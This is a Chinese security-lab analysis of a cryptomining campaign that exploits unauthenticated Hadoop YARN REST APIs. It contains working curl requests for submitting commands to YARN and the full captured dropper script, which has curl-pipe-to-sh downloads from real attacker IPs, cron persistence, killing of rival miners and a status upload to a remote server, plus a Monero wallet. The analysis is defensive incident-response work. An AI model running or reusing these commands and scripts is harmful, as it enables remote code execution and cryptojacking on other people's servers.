作者:Fooying@云鼎实验室
公众号: 云鼎实验室
5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
1.申请新的application
直接通过curl进行POST请求
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2.构造并提交任务
构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建 11112222_test_111122222
文件,内容也为111:
{ "am-container-spec":{ "commands":{ "command":"echo '111' > /var/tmp/11112222_test_11112222" } }, "application-id":"application_1527144634877_20465", "application-name":"test", "application-type":"YARN" }
然后直接
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件
更多漏洞详情可以参考 http://bbs.qcloud.com/thread-50090-1-1.html
在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。
整个利用过程相对比较简单,通过捕捉Hadoop 的 launch_container.sh
执行脚本,我们可以看到其中一个案例中相关任务执行的命令:
1.#!/bin/bash 2. 3.export LOCAL_DIRS="/root/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527144634877_20417" 4.export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527144634877_20417" 5....这里省略部分内容 6.export CONTAINER_ID="container_1527144634877_20417_02_000001" 7.export MALLOC_ARENA_MAX="4" 8.exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh & disown" 9.hadoop_shell_errorcode=$? 10.if [ $hadoop_shell_errorcode -ne 0 ] 11.then 12. exit $hadoop_shell_errorcode 13.fi
可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。
在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多,我们对其中一个 x_wcr.sh
脚本进行分析,代码自上而下内容:
1.pkill -f cryptonight 2.pkill -f sustes 3.pkill -f xmrig 4.pkill -f xmr-stak 5.pkill -f suppoie 6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9 7.ps ax | grep 'wc.conf/|wq.conf/|wm.conf/|wt.conf' | grep -v grep | grep 'ppl/|pscf/|ppc/|ppp' | awk '{print $1}' | xargs kill -9 8.rm -rf /var/tmp/pscf* 9.rm -rf /tmp/pscf*
这部分代码主要针对已存在的挖矿进程、文件进行清理。
1.DIR="/tmp" 2.if [ -a "/tmp/java" ] 3.then 4. if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ] 5. then 6. if [ -x "$(command -v md5sum)" ] 7. then 8. sum=$(md5sum /tmp/java | awk '{ print $1 }') 9. echo $sum 10. case $sum in 11. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 12. echo "Java OK" 13. ;; 14. *) 15. echo "Java wrong" 16. pkill -f w.conf 17. sleep 4 18. ;; 19. esac 20. fi 21. echo "P OK" 22. else 23. DIR=$(mktemp -d)/tmp 24. mkdir $DIR 25. echo "T DIR $DIR" 26. fi 27.else 28. if [ -d "/var/tmp" ] 29. then 30. DIR="/var/tmp" 31. fi 32. echo "P NOT EXISTS" 33.fi
这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。
1.if [ -d "/tmp/java" ] 2.then 3. DIR=$(mktemp -d)/tmp 4. mkdir $DIR 5. echo "T DIR $DIR" 6.fi 7.WGET="wget -O" 8.if [ -s /usr/bin/curl ]; 9.then 10. WGET="curl -o"; 11.fi 12.if [ -s /usr/bin/wget ]; 13.then 14. WGET="wget -O"; 15.fi 16.f2="185.222.210.59"
然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。
1.if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ]; 2.then 3. downloadIfNeed 4. chmod +x $DIR/java 5. $WGET $DIR/w.conf http://$f2/w.conf 6. nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 & 7. sleep 5 8. rm -rf $DIR/w.conf 9.else 10. echo "Running" 11.fi 12.if crontab -l | grep -q "185.222.210.59" 13.then 14. echo "Cron exists" 15.else 16. echo "Cron not found" 17. LDR="wget -q -O -" 18. if [ -s /usr/bin/curl ]; 19. then 20. LDR="curl"; 21. fi 22. if [ -s /usr/bin/wget ]; 23. then 24. LDR="wget -q -O -"; 25. fi 26. (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab - 27.fi
这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务 "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"
添加到其中,这里$LDR为wget -q -O -或者curl,任务每分钟执行一次。
脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed:
1.downloadIfNeed() 2.{ 3. if [ -x "$(command -v md5sum)" ] 4. then 5. if [ ! -f $DIR/java ]; then 6. echo "File not found!" 7. download 8. fi 9. sum=$(md5sum $DIR/java | awk '{ print $1 }') 10. echo $sum 11. case $sum in 12. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 13. echo "Java OK" 14. ;; 15. *) 16. echo "Java wrong" 17. sizeBefore=$(du $DIR/java) 18. if [ -s /usr/bin/curl ]; 19. then 20. WGET="curl -k -o "; 21. fi 22. if [ -s /usr/bin/wget ]; 23. then 24. WGET="wget --no-check-certificate -O "; 25. fi 26. echo "" > $DIR/tmp.txt 27. rm -rf $DIR/java 28. download 29. 30. if [ -x "$(command -v md5sum)" ] 31. then 32. sum=$(md5sum $DIR/java | awk '{ print $1 }') 33. echo $sum 34. case $sum in 35. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 36. echo "Java OK" 37. cp $DIR/java $DIR/ppc 38. ;; 39. *) 40. $WGET $DIR/java https://transfer.sh/WoGXx/zzz > $DIR/tmp.txt 2>&1 41. echo "Java wrong" 42. sum=$(md5sum $DIR/java | awk '{ print $1 }') 43. case $sum in 44. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 45. echo "Java OK" 46. cp $DIR/java $DIR/ppc 47. ;; 48. *) 49. echo "Java wrong2" 50. ;; 51. esac 52. ;; 53. esac 54. else 55. echo "No md5sum" 56. fi 57. 58. sumAfter=$(md5sum $DIR/java | awk '{ print $1 }') 59. if [ -s /usr/bin/curl ]; 60. then 61. echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt 62. curl -F "file=@$DIR/tmp.txt" http://$f2/re.php 63. fi 64. ;; 65. esac 66. else 67. echo "No md5sum" 68. download 69. fi 70.}
这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道 https://transfer.sh/WoGXx/zzz 下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.
tmp.txt内容示例:
1.download() { 2. if [ -x "$(command -v md5sum)" ] 3. then 4. sum=$(md5sum $DIR/ppc | awk '{ print $1 }') 5. echo $sum 6. case $sum in 7. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 8. echo "Java OK" 9. cp $DIR/ppc $DIR/java 10. ;; 11. *) 12. echo "Java wrong" 13. download2 14. ;; 15. esac 16. else 17. echo "No md5sum" 18. download2 19. fi 20.}
download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java。
1.download2() { 2. f1=$(curl 185.222.210.59/g.php) 3. if [ -z "$f1" ]; 4. then 5. f1=$(wget -q -O - 185.222.210.59/g.php) 6. fi 7. 8. if [ `getconf LONG_BIT` = "64" ] 9. then 10. $WGET $DIR/java http://$f1/xm64?$RANDOM 11. else 12. $WGET $DIR/java http://$f1/xm32?$RANDOM 13. fi 14. 15. if [ -x "$(command -v md5sum)" ] 16. then 17. sum=$(md5sum $DIR/java | awk '{ print $1 }') 18. echo $sum 19. case $sum in 20. 183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853) 21. echo "Java OK" 22. cp $DIR/java $DIR/ppc 23. ;; 24. *) 25. echo "Java wrong" 26. ;; 27. esac 28. else 29. echo "No md5sum" 30. fi 31.}
download2方法则判断系统下载对应版本的挖矿程序,其中 http://185.222.210.59/g.php 返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc。
1.pkill -f logo4.jpg 2.pkill -f logo0.jpg 3.pkill -f logo9.jpg 4.pkill -f jvs 5.pkill -f javs 6.pkill -f 192.99.142.248 7.rm -rf /tmp/pscd* 8.rm -rf /var/tmp/pscd* 9.crontab -l | sed '/192.99.142.232/d' | crontab - 10.crontab -l | sed '/192.99.142.226/d' | crontab - 11.crontab -l | sed '/192.99.142.248/d' | crontab - 12.crontab -l | sed '/logo4/d' | crontab - 13.crontab -l | sed '/logo9/d' | crontab - 14.crontab -l | sed '/logo0/d' | crontab -
在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。
至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:
其实,我们通过查看YARN的日志文件 yarn-root-nodemanager-master.hadoop.log
也可能看到相应的痕迹:
或者我们通过管理UI查看application详情:
而crontab的任务日志也能看到相关的执行记录:
最终在/var/tmp目录下也能找到相关的文件
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg